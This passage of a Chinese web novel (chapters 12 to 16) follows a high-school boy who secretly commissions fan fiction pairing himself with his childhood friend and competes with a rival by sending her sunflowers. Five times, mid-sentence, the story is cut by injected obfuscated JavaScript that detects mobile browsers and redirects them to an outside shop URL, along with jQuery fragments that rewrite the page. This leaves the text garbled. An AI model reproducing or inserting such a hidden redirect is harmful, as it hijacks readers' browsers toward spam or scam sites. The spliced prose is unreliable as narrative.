霍鸷阳丝毫没有犹豫:【姜祁月和霍鸷阳的,千字三百,能写吗?】 我爱磕cp:【???】 我爱磕cp:【!!!】 我爱磕cp:【不是,你是认真的吗?】 隔着手机屏幕,霍鸷阳都能感受到对方难以置信的激烈情绪。 12.独发,禁止转载 霍鸷阳没想太多,以为是自己报价高,所以对方才这么震惊。 他重新发了条消息过去。 贴吧用户_3901:【认真的,只要你能写出来,不会少你钱的。】 顿了顿,补充道:【按照你写姜祁月和温绥晏同人文的水平写。】 消息发出后,霍鸷阳觉得十拿九稳了,很有耐心地等对方给自己回消息。 但…… 消息回复是回复了,内容跟他预想的简直天差地别。 我爱磕cp:【这是钱的问题吗?】 我爱磕cp:【说实话,你是不是跟姜祁月或者霍鸷阳有仇?故意找人写这种东西膈应他们?】 看完两条消息的霍鸷阳很不高兴:【写同人文而已,怎么就是有仇,怎么就是膈应人?】 依他看,这些人写姜祁月和温绥晏的同人文才是真膈应人。 霍鸷阳懒得继续掰扯,面无表情的发消息问:【所以,你能写吗?不能写我去找其他人。】 仅此一句,原本还震撼到恨不得发几百条消息质问的同人太太顿时沉默了。 霍鸷阳没在私信界面守着,转去私信其他写过姜祁月和温绥晏同人文的用户。 其他用户写的同人文水平虽然比不上最开始的那个,但有总比没有好。 私信刚发出去,新消息就弹了出来。 点开一看,是最开始问的那个有回复了。 我爱磕cp:【你看我像是那种会被金钱迷惑的人吗?】 我爱磕cp:【除非现在就支付一部分定金。】 霍鸷阳紧皱的眉心缓缓松开,脸上重新浮起笑意。 他就知道重赏之下必有勇夫。 贴吧用户_3901:【可以,定金好说,但你也要删掉之前写的关于姜祁月和温绥晏的所有同人文。】 本以为这个要求提出后,对面会犹豫很久,没想到答应的速度比霍鸷阳想的还要快。 我爱磕cp:【成交,一会儿删完我就把联系方式给你发去。】 霍鸷阳等了一会儿,确认帖子删完了才添加“我爱磕cp”的微信好友,把说好的定金转了过去。 对方收了钱变得非常好说话,表示每周都会写几篇出来。 一看就知道有画大饼的嫌疑,但并不耽误霍鸷阳心情变好。 这钱花得不冤,跟爽快人做生意就是好。 有了第一次的成功在,后面几次霍鸷阳就游刃有余多了,开的价也没一开始那么高。 在贴吧里写同人文的,九成都是凑热闹的学生,像霍鸷阳这样手头宽裕的还真没几个,因此得知可以靠写同人文赚钱,都很愉快地答应了。 做完这一切,霍鸷阳神清气爽,连晚上睡觉都难得做了个好梦。 另一边。 姜祁月并不知道霍鸷阳在背地里捣腾了什么,早早洗漱好靠在床边,拿起手机给温绥晏发消息,为今天的事跟对方道歉。 温绥晏态度很好,发消息让她不要多想,末了还开玩笑般说:【这件事跟你没关系。我只是想跟你交朋友,至于你的朋友,实在合不来就算了。】 看着手机屏幕上的消息,姜祁月长叹一口气,慢吞吞将自己埋进被子里。 什么时候霍鸷阳能像温绥晏一样就好了。 现在的霍鸷阳总让她有种幼儿园小朋友的感觉,占有欲强还极具攻击性,非常幼稚的抗拒其他人跟自己朋友交朋友。 好在霍鸷阳理智还在,没真的跟温绥晏闹起来,不然这件事传出去,指不定多少人等着看热闹。 然而这还不是最麻烦的,最麻烦的还在后面。 周一,姜祁月在早读课被叫去办公室。 班主任端着水杯笑得慈祥,试探着问她:“排练得怎么样,能适应吗?” 姜祁月温顺点头,轻声回答:“谢谢老师关心,能适应的。” “能适应就好,能适应就好啊。”班主任拧开水杯喝了一口温水,犹豫片刻后还是没忍住问:“那个什么,你觉得温绥晏这个人怎么样?” 担心姜祁月紧张,用的还是聊天的语气。 姜祁月沉默了会儿,抬头说:“老师有什么想问的可以直接问。” 她又不傻,高三这么紧张的时候,班主任连下课都来不及等,在早读课把她叫过来,显然是有急事找她。 只不过看班主任的态度,好像不是什么好说出口的事。 “那我就直说了。”班主任将杯子放回桌上,叹了口气有些发愁:“最近学校贴吧上出现了很多关于你和温绥晏的帖子,听说你们走的有点近,教导主任让我来问问你。” 说完,他不满的摇了摇头:“早知道就不帮他们班主任问你了,白白添了这么多麻烦,连那种一看就假的帖子也要拿出来说。” 姜祁月有些疑惑:“教导主任怎么突然注意到学校贴吧了?” 学校贴吧虽然叫学校贴吧,但跟学校关系不大,是一群学生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13466653|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己建起来的,校领导从来没关注过,怎么这次突然…… “我提的建议。”说到这个班主任就来气,“当时想让学校出面改善一下贴吧风气,别整天发些捕风捉影的帖子,也不知道教导主任关注点怎么偏了。” 学校各类小道消息传播速度快,走在学校里总能听见点风声。 听到风声的时候班主任就下载了贴吧,没想到好心办了坏事。 “谢谢老师。”姜祁月心里一暖,“我跟温绥晏之间什么也没有,只是单纯的朋友关系。” “那我就放心了,回去上课吧,这事交给我处理。”班主任一改发愁的样子,离开办公室处理事情了。 回教室的路上,姜祁月有些出神。 她和温绥晏确实没什么,顶多第一次见面有些心动。心动归心动,她脑袋很清醒,知道什么该做什么不该做,从未做过越界的事。 只是和其他人聊到跟温绥晏相关的话题时,还是会没底气。 以后还是少和温绥晏相处吧。 姜祁月打定主意,心里好受许多。 回到教室时,早读课刚好结束。 下课铃声一响,前桌的苏浅灿就神秘兮兮回头,压低声音问姜祁月和霍鸷阳:“你们两个,最近是不是惹到了什么小人?” 霍鸷阳最近心情好,听到这个问题难得没忽略,反问了句:“问这个干什么?” 姜祁月没说话,同样看向苏浅灿,眼底带着同样的好奇和疑惑。 “不是得罪人我就放心了。”苏浅灿也没瞒着他们,咧开嘴笑的高兴:“前天晚上遇到个人,在贴吧私信联系我,让我写你们两个的同人文,开价特别高,千字三百呢!” 苏浅灿已经钻钱眼里了,没察觉到霍鸷阳看她的表情有些不对,还在继续幻想美好生活:“你们要是不介意我就写了,到时候赚到钱分你们一半,你们觉得怎么样?” 怕他们不同意,苏浅灿甚至劝上了:“错过这个村可就没这个店了,这种财大气粗的冤大头百年难遇,有钱不赚王八蛋,就算你们不缺钱,也不能嫌钱多吧?” 好话歹话都让她说完了。 姜祁月被缠得没办法,干脆随她去了。 搞定一个,苏浅灿目光转向另一个没发话的人身上,以为霍鸷阳介意这事,态度更诚恳了:“放心,我很有底线的,保证夹带私货,只写兄妹情。” 不知道是不是她的错觉,总觉得这句话说完,霍鸷阳面色更差了。 13.独发,禁止转载 霍鸷阳皮笑肉不笑,努力装出善解人意的模样问:“夹带私货容易被发现吧?到时候对方不付你尾款怎么办?” “怎么可能!”苏浅灿自信满满,就差拍着胸脯保证了:“约稿的那个人大概率就是想膈应一下你们俩,绝对不会屈尊降贵亲自看同人文,你就说愿不愿意赚这个钱吧。” “愿意,什么都不干就能拿到钱,怎么可能不愿意?”霍鸷阳几乎咬碎一口牙齿。果然隔着网线不知道对方是人是鬼,这不就主动送上门个奸细吗? 他越想越不甘心,问苏浅灿:“你怎么这么笃定约稿的人是想膈应我们?有没有一种可能,那个人只是想磕cp,刚好还有点小钱约稿而已。” “怎么可能!”苏浅灿这次回答的速度更快,看向霍鸷阳的时候眼中满是嫌弃:“谁会想不开磕你跟月月的cp?知不知道我们磕cp讲究的是什么?讲究的是朦胧美感,大家都爱自己给自己找糖吃。至于你……” 说到最后,苏浅灿摇了摇头,碍于情分没有继续说下去,但想表达的意思溢于言表。 还是那句话,霍鸷阳太张扬了,和姜祁月关系好也不止一天两天,从来没有遮掩过,一直坦坦荡荡,看不出任何暧昧感。 无论从什么角度看,这都是一对好兄妹。磕他们cp……简直有种正在犯罪的心虚感…… 现在想到这些,苏浅灿忍不住觉得那笔到手的定金有些烫手,打定主意过会儿就把钱分三份,AA给另外两个“受委屈”的当事者。 她虽然爱钱,但更在乎和姜祁月之间的友谊,不想为了这件事破坏大家的感情,钱分出去后整个人都舒坦了,不再像之前那样提心吊胆。 苏浅灿心里装的都是这件事,跟两个当事人透过风声就趴回桌子上补觉。这几天她就没睡过一个好觉。 刚刚聊天时苏浅灿特意压低了声音,没引来其他人注意,她一转身补觉,姜祁月就看向霍鸷阳:“遇到什么事了吗?你心情好像不是很好。” 刚刚苏浅灿说话的时候,她就察觉到了霍鸷阳的异常,只不过没等到机会插话。 霍鸷阳故作坚强:“不是什么大事。” 见他不想多说,姜祁月也没再多问,干脆拿出高考真题卷刷题。 就算没人监督,姜祁月也能感受到压迫感,非常的自觉。 心情郁闷的霍鸷阳看见她这样,难得有些过意不去,跟着拿出复习资料,主动翻看起来。 其余人看见霍鸷阳都开始努力复习,也跟着紧张起来,不敢再有休息的心思,生怕被追上,纷纷拿起学习资料复习。 能看进去多少暂且不提,整个班级的学习氛围倒是变好数倍。 路过教室的班主任看见这一幕,也不知误会了什么,感动地擦了擦眼角,连上课说话的声音都变得温柔不少。 中午,姜祁月按时赶到音乐教室。 出乎意料的是,她到的时候音乐教室空无一人。 往日每次都是第一个到的温绥晏不知所踪。 看了眼时间,姜祁月有点不安。 按理来说,这个时间温绥晏没什么事要做,不应该还没到音乐教室。哪怕路上遇到突发事件,也可以发条消息留言告诉她有事忙,不用来音乐教室,现在一声不吭真的很奇怪,不像温绥晏的做事风格。 担心出事,姜祁月试着拿手机发了条消息出去。 对面很快就回了消息。 确定没出事,很快就能过来,姜祁月才敢放心。 温绥晏没有骗人,几分钟后就捧着什么东西进了音乐教室。 “今天是有什么事要忙吗?有的话不用赶着过来,跟我说一声就好。”姜祁月眉心微蹙,没注意到被捧着的东西是什么。 “已经忙完了。前几天看你在搜向日葵,刚好附近有花店办优惠活动,配送费减免。”温绥晏轻笑,将手中的向日葵花束递给姜祁月:“送你,就当感谢你请客喝水。” 后半句话明显在开玩笑。 一瓶一块钱的水,怎么可能是一束向日葵能比的? 姜祁月连忙拒绝。 感动归感动,但她早就打定主意跟温绥晏保持距离,等下周的校庆活动结束就不见面,要是收了这束花,肯定会引来一大堆麻烦,到时候传到贴吧上,解释都不好解释。 “我没有别的意思,就是觉得向日葵很适合你,一样阳光向上。”温绥晏温声解释,没有将花束收回去。 姜祁月摇头婉拒:“谢谢,但这束花太大了,我带回去了也没有地方放,你还是自己留着吧。” 或许温绥晏没有其他想法,只是好心送朋友礼物,但现在情况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13483051|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特殊,她总得多想想。 “是我没考虑到这些。”见向日葵送不出去,温绥晏只能放下花束,不再提这件事。 和他的淡定自若相比,姜祁月显得心神不宁,排练结束后逃也似的离开了,看都没再看温绥晏一眼,更没察觉到对方笑得有多虚伪,眼底满是算计。 其实她一开始的想法是对的,世界上根本没有十全十美的人,如果有,肯定是装出来的…… 踏出音乐教室大门,姜祁月也没有缓过神。 靠在门外守着的霍鸷阳冷不丁出声:“想什么呢,这么出神?” “你怎么在这儿?”姜祁月被吓得面色泛白,脸上不见一点血色。 霍鸷阳幽幽开口,似笑非笑道:“接你啊,上次是你找我,总得还回来不是?” 这句话太熟悉了。 姜祁月皱眉,不满地问他:“你一直在外面偷听?” “这怎么能说是偷听呢?”霍鸷阳不赞同的摇头,一边拉着姜祁月往教室方向走,一边纠正道:“我那是关心你,怕你被人用一束花骗走了,能不能长点心?” 顿了顿,他又说:“你要是真喜欢向日葵,我也能送,送的保证比他还要多。” 霍鸷阳也觉得向日葵适合姜祁月。 “有病就快点去治。” 姜祁月气得都不知道说他什么好,憋了半天才憋出这句话,之前吓白的脸也重新红润起来。 丢下这句话,姜祁月加快速度甩掉霍鸷阳,根本没有搭理他的意思。 霍鸷阳还在原地思考刚刚那句话的可行性,回神察觉到姜祁月离开时已经来不及追上了。 回到教室,姜祁月心情才渐渐平复下来,特意叮嘱霍鸷阳不要做乱七八糟的事,与其乱浪费钱,不如多买几套真题卷刷刷。 一番话说完,她满意的看到霍鸷阳萎靡不振。 本以为这件事已经过去了,没想到当天晚自习结束,她竟然在自家门口看见骑手小哥。 骑手小哥手里捧着的,赫然是一大捧向日葵花束。 哪怕临近晚上十点半,也能看出那捧花束比白天温绥晏准备送的多了好几倍。 太阳穴连着跳了好几下。 姜祁月忍无可忍,看向还没来得及离开的霍鸷阳:“解释一下,这是怎么回事。” 14.独发,禁止转载 姜祁月的怒意太明显了,几米开外的骑手小哥都能察觉到。 骑手小哥局促不安地挠了挠头,想了想还是将一大捧花放在院门口靠着,离开前小声说:“那个……花已经送到了,我还有其他单子,要是没别的事我就先走了,如果可以的话,顺便求个五星好评。” “谢谢,路上小心。”姜祁月调整了一下情绪,轻轻点头目送骑手小哥离开。 她确实很生气,但不至于迁怒人。 确认骑手小哥离开,注意力才重新放回霍鸷阳身上,恼怒的问:“下午不是说好了吗,你怎么说话不算数?” 姜祁月都不敢想,要是妈妈或者淑琴阿姨推开门,看见捧着一大捧花站在院门口的骑手小哥,会发生什么可怕的事。 她很少这么生气过。 脾气好的人突然发起脾气怪怵人的。 “我当时不是什么也没说吗。”霍鸷阳有些心虚,梗着脖子回道:“再说了,我又没浪费钱,试卷也买了,就压在那捧花中间,你看看就知道了。” 憋了半天,又憋出一句:“你要是不想收这些向日葵,就当我送给乔姨的。” 今天下午霍鸷阳百度搜索了很多东西,越搜越胆颤心惊,惊叹于温绥晏有心机。还好他攒的钱够给姜祁月买更多花,不至于让姜祁月这被温绥晏的那几朵破花感动到。 买花的时候他就猜到姜祁月不会接受,特意选在晚自习结束后送达,还特意给小费让店家帮忙买了试卷压进花里,连退而求其次的解释都想好了。 自认万无一失的霍鸷阳没想过,在花里带试卷有多奇怪。 不过这招阴差阳错还真对姜祁月起效。 听见有试卷,姜祁月抿了抿唇,态度和缓许多,几步走到院门口,弯腰检查起那捧花。 向日葵中央确实有一本被卷起来的试卷。 黄色的,和向日葵的颜色很像,乍一眼看上去还真发现不出来。 她面无表情地取出试卷,走回霍鸷阳身边,将卷起来的试卷递给他:“卷子你带回去慢慢写,写好带给我看,我要检查。” 霍鸷阳:“?” 霍鸷阳听出姜祁月有松口的意思,但还是不敢相信,试探着问:“卷子我带走,向日葵放在这里可以吗?” “你想一起带回去也可以。”姜祁月都不知道该摆出什么表情好,只能赶人离开:“已经很晚了,你该回去了。” “那花就留在这里,你记得带回去啊!我先走了!”霍鸷阳迅速转身,推着自己的电动车跑没影了。 独自站在原地的姜祁月目光落在那捧向日葵上,眼底带上几分无奈之色。 明明这么大的人了,怎么还跟没长大一样。 她将向日葵抱起来,轻轻推开院门。 院子里开着灯。 乔玉韵还没睡,听见开门声后走出来,见宝贝女儿手里捧着一大堆花的样子,顿时眼角一弯,笑着打趣道:“咱们小乖真受欢迎,上个学还能收这么大一捧花。抱着走了一路累了吧,快给我,我来拿着,你去歇歇。” 说完,就要来帮姜祁月拿花。 “妈妈,不是你想的那样。”被向日葵遮住大半张脸的姜祁月颇为无奈,她就知道把花带回来会这样。 “好好好,放心交给我,我去拿花瓶养着,这花很新鲜,还能摆很久呢。”乔玉韵脸上带着笑,随意点头,也不知有没有听进心里去。 姜祁月松手,将书包放在椅子上摆好,再次找到处理向日葵的乔玉韵,认真解释了一下这件事。 担心妈妈多想,她只随口提了霍鸷阳误会人才这么做。 乔玉韵听了乐不可支:“原来是这样,小阳不会把你当女儿养了吧?”小小年纪还怪有当爹潜质的。 姜祁月听了更无奈。还好霍鸷阳不在这儿,不然听了这话,指不定怎么闹别扭。 与此同时。 另一边。 霍鸷阳打了个喷嚏,狐疑的放下手中试卷。是谁在背后骂他? 来不及细想,书桌上摆着的手机发出叮咚一声脆响。 有人发来了消息。 霍鸷阳顺手拿起手机,解锁屏幕点开消息提示框。 看清是谁发的消息,他整个人都来劲了。 我爱磕cp:【上课摸鱼写了篇同人文,需要发到贴吧上吗?】 霍鸷阳咬紧后槽牙,脸上的笑有些瘆人。 好啊,他还没来得及找苏浅灿,苏浅灿倒是主动找上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13496385|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门了。 深呼吸几次,勉强平复好情绪,霍鸷阳发了条消息过去。 贴吧用户_3901:【嗯,发到贴吧前先给我看看。】 发完这条消息,霍鸷阳心情瞬间变好。 哪怕隔着网线,他都能感受到苏浅灿此刻的情绪波动有多大。 我爱磕cp:【那个……我刚刚看了一下,突然觉得还有点瑕疵,不如我去改改,改好再发给你看?】 霍鸷阳很记仇,冷漠拒绝了这个提议:【有瑕疵很正常,我先看看,还能给你提点建议。】 我爱磕cp:【……】 我爱磕cp:【行……行吧……您有什么不满意的地方记得跟我说……】 连称呼都变了,明显在心虚。 随后,对方发了一个文档过来。 霍鸷阳把手机放在一边,先去洗了个澡,一边吹头发一边点开文档往下看。 苏浅灿还是有点小聪明的,写的同人文很精彩,换个人说不定会被故事吸引,可惜他只注意到一点。 两个主角之间只有兄妹情,别的什么也没有。 不等他发难,对面再次传来个文档。 我爱磕cp:【不好意思,忘了还有个番外没发过来,您看看?】 这会儿的霍鸷阳连生气的念头都升不起来,抱着看热闹的心态点开,然后红着脸退出来。 是个回忆向暗恋小番外。 同名不同命。在番外里,那个和他有着同样名字的人,趁着姜祁月午休时偷亲成功了…… 虽然只有一点糖渣,连姜祁月和温绥晏同人文的十分之一亲密也没有,但对做贼心虚的霍鸷阳来说,已经很满足了。 不用苏浅灿催,他主动把尾款打过去,还不忘夸对方番外写得好,以后可以多写点暗恋向同人文。 网线那头的苏浅灿原本还心急如焚着,看见那条消息总算安心了,一边把钱分三分转给另外两个当事人,一边更坚定霍鸷阳肯定得罪了人的想法。 刚把钱转出去就收到一笔的霍鸷阳:“……” 他收起手机,庆幸自己添加好友时用的是小号,苏浅灿用的也是小号。 不然这事传出去,他都不好意思面对姜祁月。 15.独发,禁止转载 不知道是不是心虚,发出那篇带番外的同人文后,苏浅灿特意对约稿的霍鸷阳说,以后可以打折扣找她约稿。 霍鸷阳不置可否,默认了这个提议。 同一时间。 姜祁月刚洗漱好靠在床边背单词,没背多久就听见床头柜上摆着的手机,发出清脆的消息提示音。 放下手中单词册,拿起手机一看。 是苏浅灿发来的。 短短一分钟不到,发了好几条消息过来,每一条都在吐槽钱真不好赚。 再一往上翻聊天记录,有一条洗澡时发来的转账信息,当时她刚好在洗澡,没注意到卧室里的动静。 现在看见了也不迟。 她有些无奈,回消息安抚好朋友情绪:【不要为难自己,不想写就不写了,就算没有这笔钱也不会影响到什么。】 苏浅灿:【那可不行,有钱不赚是傻子。虽然约稿的甲方要看稿,但还挺好糊弄的,一个几百字的番外就成功忽悠过去了。等我再多赚点,咱们的小金库就能富足了,到时候一起出去好好奢侈奢侈。】 苏浅灿所说的奢侈就是一起出去吃顿串串。 花不了多少钱,重在有氛围。 见她有了打算,姜祁月没有再劝,只想着到时候出去吃饭自己买单,少让苏浅灿花点钱。 但凡苏浅灿再没良心点,都不会跟朋友说自己靠写朋友的同人文赚到了钱,更别提平均分出去那么多酬金,这些她都记在心里。 聊了几句,苏浅灿突然发来一条消息。 苏浅灿:【对了,月月你要看看我写的同人文吗?】 看见这条消息,姜祁月沉默许久,直白拒绝道:【不用,时间不早了,你记得早点睡,不然明天上课又没精神。】 有时候她挺好奇苏浅灿脑子里在想什么,为什么问她这种问题。 看自己的同人文本来就很尴尬,更别说看的还是自己跟霍鸷阳的。要是真看完,她还怎么正常面对霍鸷阳? 直到手机关机,姜祁月脑子里都装着这件事,晚上做梦更是被直接吓醒。 在梦里她好奇点开苏浅灿发的同人文,谁料转身就发现霍鸷阳站在后面看,幽幽的目光很吓人。即便知道这个梦bug一大堆,很不真实,带来的影响力也很大。 惊醒后躺在床上看了很久天花板,睡意才再次席卷而来,渐渐睡了过去。 次日一早,姜祁月难得起晚了几分钟。 洗漱时她看着镜中显得有些蔫的自己,暗下决心,等到了教室就跟苏浅灿打声招呼,以后别在自己面前提同人文的事了。 再提下去,她估计没几个好觉睡。 不得不说不愧是青梅竹马一起长大的,在某些方面,姜祁月和霍鸷阳想法高度一致。 同样没睡好的霍鸷阳面无表情吃完早餐,给苏浅灿的小号发了条消息,让她以后写好直接发贴吧上就成,不用每次都拿来给他看。 再多看几篇,他就要分不清现实和小说了。 如果有机会,等以后得偿所愿后再看也不迟。如果不能得偿所愿,就当昨天看的那篇同人文是一场美梦…… 想明白这点,霍鸷阳豁然开朗,整个人精神不少,连去上课都难得带着笑。 座位近的小弟见了,凑过去打趣道:“老大,你这是遇到什么好事了吗?怎么笑得这么荡漾?” 霍鸷阳没好气笑骂:“滚滚滚,几天没扫厕所太闲了是不是?” “还没到下课,认真看书。”坐在一旁的姜祁月忍无可忍,扫了走神和其他人聊天的霍鸷阳一眼。 跟霍鸷阳搭话的人迅速缩回去看书,生怕被记挂上。 “反应倒是挺快。”霍鸷阳收回目光,坚定了让他扫厕所的念头。 再不立立威,谁都能骑到他脖子上了。刚好还能给保洁阿姨减轻负担,简直一举两得。 至于下课后听见“噩耗”的小弟们是怎么哭天抢地的,就不在他考虑范围内了。 时间一天天过去,霍鸷阳除了给钱外,没再关注过同人文的事,也没时间去学校贴吧翻看帖子,因为他有件更需要解决的事。——模拟试卷。 当初送向日葵时,霍鸷阳叮嘱店家买了份试卷夹花里讨姜祁月高兴,后来向日葵送出去了,试卷却被退回来给他写。 一开始霍鸷阳还想装作无事发生糊弄过去,没想到才过了一天,姜祁月就询问起他试卷做得怎么样,写完后记得给她检查。 听见这句询问的霍鸷阳整个人都不好了。 但试卷是他买的,话也是他答应的,再怎么不情愿,也得咬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13509447|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牙写完。 但凡换成其他人检查,霍鸷阳都敢抄答案再修改修改出来作假,可现在要检查试卷的人换成姜祁月,他是半点假也不敢做,只得安安分分利用空余时间写卷子。 篮球队的人放假约不出他,还打趣他真是转性了。 班里老师和同学看见也觉得很稀奇,不敢相信霍鸷阳真能安生下来好好学习。 霍鸷阳一安生下来,姜祁月不知道少操了多少心,连排练效率都大大提高。 唯一唉声叹气的,只有隔段时间就被打发去扫厕所的小弟们。 等试卷写得差不多,终于能喘一口气时,时间已经来到了校庆前一天。 在霍鸷阳围着试卷团团转时,姜祁月也没歇着,除了排练和学习外,她还抽空注意了很久学校贴吧。 和她想的一样,两个当事人放任不管的平淡态度让人觉得无趣,新鲜劲一过去讨论度就少了许多,等校庆快到时,更是没多少人关心,注意力全在终于能放假上。 校庆那天上午表演,下午放假,晚自习不上,比凑什么热闹都让学生兴奋。 唯一美中不足的就是,贴吧上多了很多她和霍鸷阳的同人文。 没人当真,但数量着实多了点。 也不知道是谁在背后花钱约了这么多篇稿。 好在花钱的痕迹太明显了,刷帖子的人都能看出来,不仅没人当真,还在帖子里嘻嘻哈哈笑成一团。 阴差阳错,也算间接帮忙降低了之前她和温绥晏照片事件的热度。 “月月,马上就要彩排了,你衣服换好了吗?” 苏浅灿的声音从换衣间外传来。 姜祁月放下手机,推开换衣间门,轻声细语回道:“换好了,我现在就去排队。” 接下志愿者工作的苏浅灿一边催促其他人,一边给姜祁月指了个方向,还不放心的叮嘱了一大堆东西:“那边,温绥晏早就排着了,你直接站在他后面就行,到时候主持人报到你们的名字就上台,千万别紧张,就是彩排走个流程。” “嗯……我不紧张。”姜祁月无奈。 苏浅灿看上去比她这个即将上台的人还紧张。 就算她原本有些紧张,经过苏浅灿这一顿操作,也没了任何紧张的情绪,只剩下满满的暖意和无奈。 16.独发,禁止转载 彩排流程不难,就是提前踩个点,让表演节目的学生适应一下,不至于突然被叫上台手足无措。 上台顺序早在确认表演名额时就随机抽选过,姜祁月和温绥晏的上台顺序刚好排在中间。 前前后后所有节目加起来,多达二十多个。 听着没什么,但每个都上台彩排一遍,还是非常耗时间的。 一场彩排走下来,连姜祁月都有些疲倦,半句话也不想说。 好在明天校庆,今天晚上不用上晚自习,能让她好好休息休息。 霍鸷阳知道她这两天忙,一直很安生,一下课就守在用来彩排的阶梯教室外,抱着特意买回来的冰饮等人。 天气热,加上这个年纪的少年火气正旺,还没等到人出来,霍鸷阳就发现怀里抱着的冰饮变成了常温饮料。 难以置信的同时,迅速起身想再买瓶补救。 谁料刚转身,就听见吱呀一声响起。 伴随着开门声响起的,还有嘈杂的说话声。 不用想也知道是进去彩排的人出来了。 霍鸷阳顾不上去买瓶新的补救,连忙往旁边靠了靠让开位置,眼巴巴盯着人群看,试图从中看出自己心心念念的那道身影。 这个时候大家都急着回家,走得速度非常快。 很快霍鸷阳就捕捉到了熟悉的人影。 嘴角刚扬起笑,还没来得及迎上去,就发现有个讨厌的家伙,正紧跟在姜祁月身后一起出来。 虽然今天只是彩排,不是正式的表演日期,但弄得还是很正式的,绝大多数人都换上了演出服。 姜祁月和温绥晏也是。 摘下眼镜的姜祁月身穿一袭月白色长裙,精致面庞愈显动人,没有任何妆容点缀也让人看得挪不开眼。 身后的温绥晏穿了件很搭的白色燕尾服,身材高挑挺拔,浅笑着和前方的同伴说着什么。 俊男美女的搭配看上去非常养眼,像极了童话故事中的王子和公主,有种其他人插足不进去的特殊氛围。 仅此一眼,霍鸷阳就炸了,气势汹汹走到他们面前,沉着脸想说什么。 话没说出口,就见姜祁月蹙眉问:“你怎么来了?不是说好在教室等我回去吗?” 早在准备彩排时,霍鸷阳就说过想在外面等她,当时她还拒绝了这个提议,只让霍鸷阳在教室等她回去也是一样的。 天气正热,教室开了空调,看霍鸷阳大汗淋漓的样子,不知道在外面蹲了多久,真不知道图什么。 “我……”霍鸷阳的气焰瞬间被问的消去大半,想说的话也咽了回去。 反倒是温绥晏露出个善意的笑,对姜祁月说:“那你们先聊,我先回去了,有事微信联系。” “好,路上小心。”姜祁月礼貌点头,对温绥晏态度软化许多。 她倒是想远离温绥晏,但温绥晏性格太好了,察觉到她的疏离后,还借用讨论题目的理由委婉询问她是不是自己做错了什么。 现实比想象中要复杂太多,加上还残留着霍鸷阳针对温绥晏的歉意,姜祁月态度一再软化,更是做不到预想中那样果断远离。 送走温绥晏,姜祁月才顾得上去看霍鸷阳:“现在能说了吗?” 霍鸷阳别扭的看了眼四周。 姜祁月和温绥晏都不是爱凑热闹的人,是最后一批出来的,他们出来的时候人就走的差不多了,更别说刚刚还耽误了一会儿,现在除了他和姜祁月在,就没有一个人了。 确认没有其他人在,他才小声说:“我有点不放心,顺便给你带点喝的,但外面有点热,已经不凉快了……” 说完,想把怀里抱着的饮料拿出来,拿到一半又觉得有些拿不出手,一时陷入进退两难的境地。 “不是说带给我喝的吗?”姜祁月没有为难他,拉扯了好几下才把饮料接过来,垂眸看了眼没有一点凉意的饮料:“我不热,常温的也很好。” 有了这句话,原本还有点蔫的霍鸷阳重新支棱起来,脸上也浮现笑意:“你喜欢就好,明天还给你带。” 犹豫片刻,霍鸷阳装作随口一提般问:“对了,校庆表演结束后你有什么打算吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519854|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他想打听姜祁月打算怎么对温绥晏。 “怎么突然问起这个了?”姜祁月误会了他的意思,还以为他问的就是字面意思,想了一会儿后说:“应该有聚餐,温绥晏朋友多,前几天还在说这件事,他们想邀请我一起去。” 